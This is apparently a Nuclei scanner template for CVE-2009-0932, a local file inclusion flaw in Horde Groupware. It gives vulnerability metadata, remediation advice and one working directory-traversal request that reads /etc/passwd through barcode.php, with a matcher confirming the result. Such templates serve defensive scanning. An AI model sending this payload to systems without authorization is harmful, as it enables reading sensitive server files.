id: CVE-2009-0932

info:
  name: Horde/Horde Groupware - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 are susceptible to local file inclusion in framework/Image/Image.php because it allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Horde/Horde Groupware.
  reference:
    - https://www.exploit-db.com/exploits/16154
    - http://cvs.horde.org/co.php/groupware/docs/groupware/CHANGES?r=1.28.2.5
    - https://nvd.nist.gov/vuln/detail/CVE-2009-0932?cpeVersion=2.2
    - http://cvs.horde.org/co.php/horde/docs/CHANGES?r=1.515.2.413.2.5
    - http://cvs.horde.org/co.php/horde/docs/CHANGES?r=1.515.2.503
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2009-0932
    cwe-id: CWE-22
    epss-score: 0.05612
    epss-percentile: 0.90432
    cpe: cpe:2.3:a:debian:horde:3.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: debian
    product: horde
  tags: cve,cve2009,horde,lfi,traversal,edb,debian,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022025beb0f7471bb161bea618a52575951238ab83419d21ef9405e13e19cf1b20c2022100e93f19f17e1ea2c286b35557d9cc62e1a0fc2f9a6026f3649f766739def60d1a:922c64590222798bb761d5b6d8e72950